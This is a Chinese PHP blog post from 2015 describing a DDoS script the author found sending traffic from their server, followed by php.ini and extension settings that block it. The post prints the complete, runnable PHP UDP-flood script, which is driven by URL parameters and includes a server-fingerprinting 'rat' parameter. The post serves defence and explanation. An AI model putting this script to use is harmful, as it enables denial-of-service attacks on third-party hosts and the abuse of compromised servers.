php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
《PHP边学边教》(01.开篇――准备工作)
Dec 13 PHP
关于mysql 字段的那个点为是定界符
Jan 15 PHP
php中的登陆login
Jan 18 PHP
PHP4与PHP5的时间格式问题
Feb 17 PHP
php截取utf-8中文字符串乱码的解决方法
Mar 29 PHP
php下关于中英数字混排的字符串分割问题
Apr 06 PHP
PHP设计模式之调解者模式的深入解析
Jun 13 PHP
使用php-timeit估计php函数的执行时间
Sep 06 PHP
php+jQuery+Ajax实现点赞效果的方法(附源码下载)
Jul 21 PHP
浅谈PHP的反射API
Feb 26 PHP
php修改数组键名的方法示例
Apr 15 PHP
PHP防止sql注入小技巧之sql预处理原理与实现方法分析
Dec 13 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
php下检测字符串是否是utf8编码的代码
2008/06/28 PHP
PHP+FastCGI+Nginx配置PHP运行环境
2014/08/07 PHP
php接口数据加密、解密、验证签名
2015/03/12 PHP
PHP加密解密类实例代码
2016/07/20 PHP
JQuery 国际象棋棋盘 实现代码
2009/06/26 Javascript
jquery 学习之二 属性(html()与html(val))
2010/11/25 Javascript
js setTimeout 参数传递使用介绍
2013/08/13 Javascript
CSS+jQuery实现的一个放大缩小动画效果
2013/09/24 Javascript
js解决弹窗问题实现班级跳转DIV示例
2014/01/06 Javascript
js 显示base64编码的二进制流网页图片
2014/04/04 Javascript
javascript 事件处理示例分享
2014/12/31 Javascript
JavaScript搜索字符串并将搜索结果返回到字符串的方法
2015/04/06 Javascript
javascript设计模式--策略模式之输入验证
2015/11/27 Javascript
JQuery Dialog对话框 不能通过Esc关闭的原因分析及解决办法
2017/01/18 Javascript
javascript DOM的详解及实例代码
2017/03/06 Javascript
redux中间件之redux-thunk的具体使用
2018/04/17 Javascript
JavaScript实现正则去除a标签并保留内容的方法【测试可用】
2018/07/18 Javascript
在vue中使用v-bind:class的选项卡方法
2018/09/27 Javascript
vue-router 手势滑动触发返回功能
2018/09/30 Javascript
三剑客:offset、client和scroll还傻傻分不清?
2020/12/04 Javascript
Python的Django框架中forms表单类的使用方法详解
2016/06/21 Python
pycharm安装图文教程
2017/05/02 Python
Python时间的精准正则匹配方法分析
2017/08/17 Python
Python Cookie 读取和保存方法
2018/12/28 Python
python实现按首字母分类查找功能
2019/10/31 Python
使用python实现画AR模型时序图
2019/11/20 Python
Python猜数字算法题详解
2020/03/01 Python
上海微创软件面试题
2012/06/14 面试题
什么是GWT的Entry Point
2013/08/16 面试题
《长城》教学反思
2014/02/14 职场文书
群众路线党课主持词
2014/04/01 职场文书
实现中国梦思想汇报2014
2014/09/13 职场文书
质检员工作总结2015
2015/04/25 职场文书
创建文明城市倡议书
2015/04/28 职场文书
浅谈由position属性引申的css进阶讨论
2021/05/25 HTML / CSS
「月刊Comic Alive」2022年5月号封面公开
2022/03/21 日漫